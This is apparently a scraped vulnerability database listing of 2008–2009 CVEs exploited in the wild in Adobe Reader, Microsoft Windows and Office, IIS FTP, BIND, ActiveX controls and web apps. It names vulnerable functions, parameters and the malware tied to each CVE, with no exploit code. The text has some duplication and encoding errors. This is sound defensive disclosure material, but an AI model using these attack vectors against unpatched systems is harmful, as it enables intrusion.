Remote code execution in Adobe Acrobat and Adobe Reader
CVE-2009-3459

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to heap-based buffer overflow when processing a malformed PDF file. A remote attacker can create a specially crafted .pdf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Software: Adobe Reader

Known/fameous malware:

PDF/Exploit.CVE-2009-3459.A

Two vulnerabilities in Microsoft IIS FTP server
CVE-2009-3023

Stack-based buffer overflow

The vulnerability allows a remote authenticated attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in FTP server. A remote authenticated attacker can send a specially crafted FTP NLST command containing a wildcard that references a subdirectory, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The issue has been introduced in 06/02/1998. The weakness was publicly disclosed on August 31, 2009 by Kingcope. The vulnerability was handled as a non-public zero-day exploit.

Software: Microsoft IIS

The issue has been introduced in 06/02/1998. The weakness was publicly disclosed on August 31, 2009 by Kingcope. The vulnerability was handled as a non-public zero-day exploit.

Denial of service in Microsoft .NET Framework
CVE-2009-1536

Denial of service

The vulnerability allows a remote attacker to cause DoS conditions on the target system.

The weakness exists due to incorrect managing of request scheduling by ASP.NET. By sending multiple HTTP requests, a remote attacker can trigger the Web server to crash.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft .NET Framework

Improper access control in SPIP
CVE-2009-3041

Improper access control

The vulnerability allows a remote attacker to gain access to the target system.

The weakness exists due to improper access control related to installations and backups. A remote attacker can bypass implemented security control and compromise vulnerable website.

Successful exploitation of the vulnerability results in access to the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by vendor after successful compromise of vendor's website. The attackers hacked the website and were spreading malware.

Software: SPIP

The vulnerability was reported by vendor after successful compromise of vendor's website. The attackers hacked the website and were spreading malware.

Remote denial of service in ISC BIND
CVE-2009-0696

Assertion failure

The vulnerability allows a remote attacker to perform denial of service attack.

The vulnerability exists due to assertion failure in dns_db_findrdataset() function within db.c when named is configured as a master server. A remote unauthenticated attacker can send an ANY record in the prerequisite section of a crafted dynamic update message and trigger assertion failure and daemon exit.

Successful exploitation of this vulnerability may allow an attacker to perform denial of service (DoS) attack.

Note: this vulnerability is being actively exploited.

Software: ISC BIND

Remote code execution in Microsoft Windows
CVE-2009-2493

Improper initialization

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper initialization in the Microsoft Active Template Library (ATL) when handling objects from data streams related to unsafe usage of OleLoadFromStream() function. A remote attacker can create a specially crafted Web site that instantiates a vulnerable component or control using the IE browser, trick the victim into viewing it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Active Template Library

Remote code execution in Adobe Flash Player
CVE-2009-1862

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when parsing malformed files. A remote attacker can create a specially .pdf file or .swf file, related to authplay.dll, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Flash Player

Known/fameous malware:

Trojan.Pidief.G
Troj/SWFExp-M
Troj/SWFExp-N

Remote code execution in Microsoft Office Web Components
CVE-2009-1136

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in Office Web Components ActiveX Control when handling parameter values. A remote attacker can create a specially crafted Web page, trick the victim into viewing it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Office

Remote code execution in Microsoft Video ActiveX Control
CVE-2008-0015

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in the Microsoft Video ActiveX Control, msvidctl.dll. By persuading a victim to visit a specially crafted Web page, a remote attacker can trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability has been exploited in the wild since June 11, 2009 (as discovered by X-Force) and was touted by the media and by SANS as being exploited in the wild on July 6, 2009.

According to Symantec research first exploitation of the vulnerability was detected on 2008-12-28.

Software: Microsoft Video ActiveX Control

Known/fameous malware:

HTML/CVE-2008-0015
Bloodhoud.Exploit.259

The vulnerability has been exploited in the wild since June 11, 2009 (as discovered by X-Force) and was touted by the media and by SANS as being exploited in the wild on July 6, 2009.

According to Symantec research first exploitation of the vulnerability was detected on 2008-12-28.

Multiple vulnerabilities in Microsoft Excel
CVE-2009-0561

Integer Overflow or Wraparound

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow when parsing the Excel spreadsheet file format. A remote attacker can create a specially crafted Excel file containing a malformed object record, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.
i

According to Symantec the first exploitation of the vulnerability was discovered on 11.01.2009.

Software: Microsoft Excel

Known/fameous malware:

Bloodhound.Exploit.251

According to Symantec the first exploitation of the vulnerability was discovered on 11.01.2009.

Multiple vulnerabilities in Microsoft Excel
CVE-2009-1134

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when parsing the Excel spreadsheet file format. A remote attacker can create a specially crafted Excel file containing a malformed record pointer, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: according to reports this vulnerability was being actively exploited before Microsoft issued security patch.
i

The vulnerability has been exploited over a year and was reported to vendor on 2009-03-26.
According to Symantec the first exploitation of the vulnerability was discovered on 2008-07-25.

Software: Microsoft Excel

Known/fameous malware:

Bloodhound.Exploit.254.

The vulnerability has been exploited over a year and was reported to vendor on 2009-03-26.
According to Symantec the first exploitation of the vulnerability was discovered on 2008-07-25.

Multiple priviledge escalation vulnerabilities in Microsoft Windows
CVE-2009-1123

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to improper validation of changes in certain kernel objects. By running a malicious application, a local attacker can submit malformed calls to the Windows Kernel and execute arbitrary code in kernel mode.

Successful exploitation of the vulnerability results in privilege escalation allowing to execute arbitrary code and take complete control of an affected system.

Note: according to reports this vulnerability was being actively exploited before Microsoft issued security patch.
i

This vulnerability was used by Equation group in attacks, which involved Fanny malware. The exploit is later added to Stuxnet malware. Initially discovered by Kaspersky Lab in December 2008.

Microsoft bulletin describing 4 vulnerabilities is not clear on which vulnerability was used during the attacks. We are aware of at least two publicly disclosed exploits from this bulletin used by different malware in targeted attacks during Operation Pawn Storm and Turla.

The CVEs covered in this bulletin: CVE-2009-1123, CVE-2009-1124, CVE-2009-1125, CVE-2009-1126. At least one of them has being exploited in the wild before official security patch.

Software: Windows

Known/fameous malware:

Exploit kits: Fanny, Stuxnet, Turla.

This vulnerability was used by Equation group in attacks, which involved Fanny malware. The exploit is later added to Stuxnet malware. Initially discovered by Kaspersky Lab in December 2008.

Microsoft bulletin describing 4 vulnerabilities is not clear on which vulnerability was used during the attacks. We are aware of at least two publicly disclosed exploits from this bulletin used by different malware in targeted attacks during Operation Pawn Storm and Turla.

The CVEs covered in this bulletin: CVE-2009-1123, CVE-2009-1124, CVE-2009-1125, CVE-2009-1126. At least one of them has being exploited in the wild before official security patch.

Remote code execution in Compress::Raw::Zlib Perl module
CVE-2009-1391

Off-by-one error

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to off-by-one error in Zlib.xs in Compress::Raw::Zlib Perl module before 2.017 when processing specially crafted zlib archives. A remote attacker can pass a specially crafted zlib archive to vulnerable application, trigger heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited in the wild against AMaViS and SpamAssassin, which use vulnerable Perl module.
i

The vulnerability was exploited in the wild against AMaViS and SpamAssassin using email messages with malicious attachments.

Software: Compress::Raw::Zlib

Known/fameous malware:

Win-Trojan/Downloader.32768.QT
TR/Crypt.XPACK.Gen
Trojan.Downloader-71014
Trojan.DownLoad.37569
Trojan-Downloader.Win32.Agent.cdir
TrojanDownloader:Win32/Cbeplay.gen!A
Mal/EncPk-FO
TROJ_CBEPLAY.A

The vulnerability was exploited in the wild against AMaViS and SpamAssassin using email messages with malicious attachments.

Remote code execution in Microsoft DirectX
CVE-2009-1537

Null byte interaction error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to NULL byte error in DirectX. A remote attacker can create a specially crafted QuickTime media file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft DirectX

Known/fameous malware:

Exploit:JS/Mult.BM
Exploit:Win32/CVE-2009-1537

Multiple vulnerabilities in Microsoft Powerpoint
CVE-2009-0556

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling malformed PowerPoint files. A remote attacker can create a specially crafted PowerPoint file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft PowerPoint

Remote code execution in Chinagames IGame ActiveX control
CVE-2009-1800

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in CGAgent ActiveX control (CGAgent.dll). A remote attacker can create a specially crafted Web page that passes an overly long string to the CreateChinagames() method, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Exploited in the wild in April and May 2009.

Software: Igame

Known/fameous malware:

Mdropper.H Trojan

Exploited in the wild in April and May 2009.

Remote code execution in Baofeng Storm ActiveX control
CVE-2009-1807

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in ActiveX control (Config.dll). A remote attacker can create a specially crafted Web page that passes an overly long string to the SetAttributeValue() method, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
Not patched
i

The zero-day was exploited in April and May in 2009. It is unclear if vendor has ever issued a patch.

Software: Storm

The zero-day was exploited in April and May in 2009. It is unclear if vendor has ever issued a patch.

Remote code execution in Baofeng Storm ActiveX control
CVE-2009-1612

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in Storm ActiveX control (mps.dll)). A remote attacker can create a specially crafted Web page that passes an overly long string to the OnBeforeVideoDownload() method, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
Not patched
i

Exploited in April and May 2009.

Software: Storm

Known/fameous malware:

The attack using the vulnerability was traced to the far east; specifically, China and Taiwan.

Exploited in April and May 2009.

SQL injection in PJHome PJBlog3
CVE-2009-1481

SQL injection

The vulnerability allows a remote attacker to inject SQL commands on the target system.

The weakness exists in the checkAlias action when processing malformed data passed via "cname" parameter. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL queries in web application database..

Successful exploitation of the vulnerability results in compromise of vulnerable system.

Note: this vulnerability was being actively exploited.

Software: PJBlog3

Remote code execution in ModPlug libmodplug
CVE-2009-1438

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to heap-based buffer overflow, caused by an integer overflow in the CSoundFile::ReadMed() function. A remote attacker can create MED file containing a specially crafted song comment or name, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Exploited in the wild in August 2008.

Software: libmodplug

Exploited in the wild in August 2008.

Multiple vulnerabilities in Microsoft Windows
CVE-2009-0080

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to incorrect placing of access control lists (ACLs) on threads in the current ThreadPool. By leveraging incorrect thread ACLs an attacker can access NetworkService or LocalService account, obtain elevated privileges and execute code with privileges of SYSTEM account.

Successful exploitation of the vulnerability results in privilege escalation allowing to execute arbitrary code and take complete control of an affected system.

Note: this vulnerability was being actively exploited.
i

Known as "Token Kidnapping".

Software: Windows

Known as "Token Kidnapping".

Multiple vulnerabilities in Microsoft Windows
CVE-2009-0079

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to improper isolation of processes in the RPCSS service. Accessing the computer under the context of a NetworkService or LocalService account an attacker can obtain privileged security tokens and execute code with privileges of SYSTEM account.

Successful exploitation of the vulnerability results in privilege escalation allowing to execute arbitrary code and take complete control of an affected system.

Note: this vulnerability was being actively exploited.


i

Known as "Token Kidnapping".

Software: Windows

Known as "Token Kidnapping".

Multiple vulnerabilities in Microsoft Windows
CVE-2009-0078

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to insufficient security protections in Windows Management Instrumentation (WMI) providers. Accessing the computer under the context of a NetworkService or LocalService account an attacker can obtain privileged security tokens and execute code with privileges of SYSTEM account.

Successful exploitation of the vulnerability results in privilege escalation allowing to execute arbitrary code and take complete control over the affected system.

Note: this vulnerability was being actively exploited.
i

Knows as Token Kidnapping.

Software: Windows

Knows as Token Kidnapping.

Multiple vulnerabilities in Microsoft Windows
CVE-2009-0087

Memory corruption

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when process documents in Microsoft WordPad and Microsoft Office converter. A remote attacker can create a specially crafted Word file containing a malformed data, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was handled as a non-public zero-day exploit for at least 3344 days. The issue has been introduced in 02/17/2000.
The vulnerability was firstly disclosed in June 17, 2008.

Software: Windows

The vulnerability was handled as a non-public zero-day exploit for at least 3344 days. The issue has been introduced in 02/17/2000.
The vulnerability was firstly disclosed in June 17, 2008.

Remote code execution in Microsoft Windows
CVE-2009-0084

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when processing a malformed JPEG file. A remote attacker can create a specially crafted JPEG file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability is being actively exploited.
i

According to Symantec the first exploitation of the vulnerability was discovered on 2008-10-23.

Software: Microsoft DirectX

According to Symantec the first exploitation of the vulnerability was discovered on 2008-10-23.

Two vulnerabilities in Microsoft IIS FTP server
CVE-2009-2521

Improper input validation

The vulnerability allows a remote authenticated attacker to cause DoS conditions on the target system.

The weakness exists due to an error when processing recursive directory listing commands by the FTP Service. By sending a specially crafted LIST command containing wildcard characters, a remote attacker can trigger the FTP service to crash.

Successful exploitation of the vulnerability results in denial of service on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The issue has been introduced in 02/17/2000. The weakness was disclosed on 09/04/2009 by Kingcope.

Software: Microsoft IIS

The issue has been introduced in 02/17/2000. The weakness was disclosed on 09/04/2009 by Kingcope.

Multiple vulnerabilities in Adobe Reader and Adobe Acrobat
CVE-2009-0927

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in the getIcon() function. A remote attacker can create a specially crafted .pdf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was fixed at first in Adobe Reader 8.x branch, leaving vulnerable Adobe Reader 9.x. It is unclear, if this vulnerability was exploited before Adobe issued patch for Adobe Reader 8.x.

According to Symantec, they have spotted active exploitation of this vulnerability on April 6, 2009.

According to Trustwave report, this vulnerability was exploited in targeted attacks as a zero-day exploit targeting the aviation defense Industry. Given the confusion regarding exploitation we have considered to treat this vulnerability as a zero-day.

Software: Adobe Reader

Known/fameous malware:

TROJ_PIDIEF.OE

The vulnerability was fixed at first in Adobe Reader 8.x branch, leaving vulnerable Adobe Reader 9.x. It is unclear, if this vulnerability was exploited before Adobe issued patch for Adobe Reader 8.x.

According to Symantec, they have spotted active exploitation of this vulnerability on April 6, 2009.

According to Trustwave report, this vulnerability was exploited in targeted attacks as a zero-day exploit targeting the aviation defense Industry. Given the confusion regarding exploitation we have considered to treat this vulnerability as a zero-day.

Remote code execution in JustSystems Ichitaro
CVE-2009-1054

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when parsing a malformed file. A remote attacker can create a specially crafted file or document using Web PURAGUINBYUA, trick the victim into opening it, trigger memory corruption, run a malicious program and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Ichitaro

Known/fameous malware:

Trojan.Tarodrop.H

Remote code execution in JustSystems Ichitaro
CVE-2009-4737

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling malformed files. A remote attacker can create a specially crafted RTF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Ichitaro

XSS in Mozilla Firefox
CVE-2009-1308

Cross-site scripting

The vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient validation of user-supplied input when processing XBL bindings. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in userтАЩs browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note: the vulnerability was being actively exploited.
i

The vulnerability was exploited against eBay customers in March 2009.

Software: Mozilla Firefox

The vulnerability was exploited against eBay customers in March 2009.

Remote code execution in Microsoft Excel
CVE-2009-0238

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when parsing the Excel spreadsheet file format. A remote attacker can create a specially crafted Excel file containing a malformed object, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft Excel

Known/fameous malware:

TROJ_MDROPPER.XR (TrendMicro)
Exploit - MSExcel.r (McAfee)
Trojan.Mdropper.AC (Symantec)

Remote code execution in Adobe Acrobat and Adobe Reader
CVE-2009-0658

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when parsing a malformed JBIG2 image stream. A remote attacker can create a specially crafted .pdf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

According to Symantec the first exploitation of the vulnerability was discovered on 2008-09-02.

Software: Adobe Reader

Known/fameous malware:

Trojan.Pidief.E

According to Symantec the first exploitation of the vulnerability was discovered on 2008-09-02.

Remote code execution in Apache OpenOffice
CVE-2009-0259

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the Word processor. A remote attacker can create a specially crafted .doc, .wri, or .rtf Word 97 file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was discovered by Jan Lieskovsky.
Exploited in the wild in December 2008.

Software: OpenOffice

The vulnerability was discovered by Jan Lieskovsky.
Exploited in the wild in December 2008.

Remote code execution in Microsoft Windows
CVE-2008-4844

Use-after-free

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer. A remote attacker can construct a specially crafted Web page, trick the victim into viewing it, trigger memory corruption and execute arbitrary code via DSO bindings involving an XML Island,  XML DSOs, or Tabular Data Control (TDC) in a crafted HTML or XML document.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Internet Explorer

Remote code execution in Microsoft Word
CVE-2008-4841

Stack-based buffer overflow

The vulnerability alows a remote authenticated attacker to execute arbitrary code on the target system.

The weakness exists due to stack overflow when parsing a malicious document. A remote attacker can create a specially crafted Word file containing a malformed list structure, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft WordPad

Known/fameous malware:

Exploit: Win32/CVE-2008-4841

Two remote code execution vulnerabilities in Microsoft Windows
CVE-2008-2249

Integer Overflow or Wraparound

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow when processing malformed WMF image file. By persuading the victim to open a specially crafted WMF image file containing a malformed header, a remote attacker can cause memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: according to reports this vulnerability was being actively exploited before Microsoft issued security patch.
i

According to Symantec first exploitation of this vulnerability was detected on 2008-10-14.

Software: Windows

Known/fameous malware:

Bloodhound.Exploit.214.

According to Symantec first exploitation of this vulnerability was detected on 2008-10-14.

Remote PHP including in PHPCow
CVE-2008-5227

Remote PHP including

The vulnerability allows a remote attacker to execute arbitrary PHP code on the target application.

The weakness exists due to improper validation of input passed via the "skin_file" HTTP parameter to "templateie_install.class.php" script. A remote attacker can send a specially-crafted HTTP request to vulnerable script, specify a malicious file from a remote system and execute arbitrary PHP code on the system.

Successful exploitation of the vulnerability results in arbitrary PHP code execution on the vulnerable application.

Note: the vulnerability was being actively exploited.

Software: PHPCow

Remote code execution in Microsoft Windows
CVE-2008-4250

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow during path canonicalization in Windows Server service. By sending a specially crafted RCP request, a remote attacker can cause memory corruption and execute arbitrary code with privileges of system account.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.
i

According to Symantec, first exploitation of this vulnerability was detected on 2008-02-05. The vulnerability was used by the ConямБcker worm.

Software: Windows

Known/fameous malware:

Trojan (Gimmiv.A) and a Trojan searching for non-patched machines on LAN (Arpoc.A)
W32.Downadup aka ConямБcker
W32.Downadup.B
W32.Fujacks.CE
W32.Neeris.C
W32.Wapomi.B

According to Symantec, first exploitation of this vulnerability was detected on 2008-02-05. The vulnerability was used by the ConямБcker worm.

Remote code execution in JustSystems Ichitaro
CVE-2008-3919

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when processing a malformed file. A remote attacker can create a specially crafted JTD document, trick the victim into loading it, trigger memory corruption and execute arbitrary code or cause denial of service on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.


Software: Ichitaro

Known/fameous malware:

TROJ_TARODROP.AM

Code injection in Adobe Flash Player
CVE-2008-3873

Code injection

The vulnerability allows a remote attacker to hijack the clipboard on the target system.

The weakness exists due to error in the setClipboard() function. By persuading a victim view a specially crafted shockwave file, an attacker could exploit this vulnerability to insert persistent data into the clipboard.

Successful exploitation of the vulnerability results in modification of data on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Flash Player

Remote code execution in Microsoft Windows
CVE-2008-3704

Memory corruption

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a buffer overflow in the Masked Edit ActiveX Control. A remote attacker can construct a specially crafted Web page, trick the victim into viewing it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Microsoft Masked Edit ActiveX Control

Remote code execution in Microsoft Word
CVE-2008-2244

Memory corruption

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow when handling malformed Word files. A remote attacker can create a specially crafted Word file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability was being used in a 2008 Summer Olympics-themed attack.

Software: Microsoft Word

The vulnerability was being used in a 2008 Summer Olympics-themed attack.

Remote code execution in Microsoft Access
CVE-2008-2463

Memory corruption

The vulnerability alows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow in the ActiveX control for the Snapshot Viewer for Microsoft Access. A remote attacker can construct a specially crafted Web page, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: this vulnerability was being actively exploited.

Software: Microsoft Office

Known/fameous malware:

JS/Exploit.CVE-2008-2463.A
Exploit kits using this vulnerability: Eleonore and Siberia.

Remote code execution in UUSee UUUpgrade.ocx ActiveX control
CVE-2008-7168

Unsafe ActiveX method

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to insufficient validation of arguments passed to the "Update()"  method in UUUpgrade.ocx ActiveX control. A remote attacker can trick the victim to visit a specially crafted website and upload malicious file into arbitrary location on victim's computer.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability was being actively exploited in the wild.
Not patched
i

The vulnerability exploitation was detected in the wild by Symantec team via Honeypot Analysis.

Software: UUSee UUUpgrade ActiveX control

The vulnerability exploitation was detected in the wild by Symantec team via Honeypot Analysis.

Two remote code execution vulnerabilities in Ourgame GLWorld

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to stack-based buffer overflow in ActiveX control. By persuading a victim to visit a specially Web page that passes an overly long argument to the IEStart() method or a second argument to the IEStartNative() method, a remote attacker can trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The exploitation of this issue was detected by the DeepSight honeypot.

Software: GLWorld

The exploitation of this issue was detected by the DeepSight honeypot.

Two remote code execution vulnerabilities in Ourgame GLWorld

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to buffer overflow in GlobalLink ActiveX control when handling values for the ServerList property. By persuading a victim to visit a malicious Web site that passes specially-crafted values to the insecure ServerList method, a remote attacker can trigger memory corruption and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The exploitation of this issue was detected by the DeepSight honeypot.

Software: GLWorld

The exploitation of this issue was detected by the DeepSight honeypot.

Remote code execution in Microsoft Windows Internet Printing Service
CVE-2008-1446

Integer overflow

The vulnerability allows a remote authenticated attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow in Windows Internet Printing Protocol (IPP) implementation. By sending a specially crafted HTTP POST request, a remote authenticated attacker can cause memory corruption and execute arbitrary code.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

According to US CERT, the targeted attacks were spotted on May 2, 2008.

Software: Windows

According to US CERT, the targeted attacks were spotted on May 2, 2008.

Privilege escalation in Microsoft Windows
CVE-2008-1436

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to improper security restrictions on security tokens in the Microsoft Distributed Transaction Coordinator (MSDTC) service. By sending a specially crafted request to the MSDTC service, an attacker can access privileged security tokens and execute code with privileges of SYSTEM account.

Successful exploitation of the vulnerability results in privilege escalation allowing to execute arbitrary code and take complete control of an affected system.

Note: this vulnerability was being actively exploited.
i

The vulnerability was used in Operation Iron Tiger, a cyber espionage campaign carried out by Chinese hackers on United States Defense Contractors.

Software: Windows

The vulnerability was used in Operation Iron Tiger, a cyber espionage campaign carried out by Chinese hackers on United States Defense Contractors.

SQL injection in Coppermine Photo Gallery
CVE-2008-1841

SQL injection

The vulnerability allows a remote attacker to execute arbitrary SQL commands in web application database.

The vulnerability exists due to insufficient sanitization of user-supplied data passed via cookies to "coppermine.inc.php" script. A remote attacker can send a specially crafted HTTP request to vulnerable script and execute arbitrary SQL queries in backend database.

Successful exploitation of the vulnerability may result in website compromise.

Note: this vulnerability was being actively exploited.
i

The vulnerability was produced by inefficient patch for CVE-2008-1840

Software: Coppermine Photo Gallery

The vulnerability was produced by inefficient patch for CVE-2008-1840

Remote code execution in Microsoft Jet
CVE-2007-6026

Buffer overflow

The vulnerability allows a remote user to execute arbitrary code on the target system.

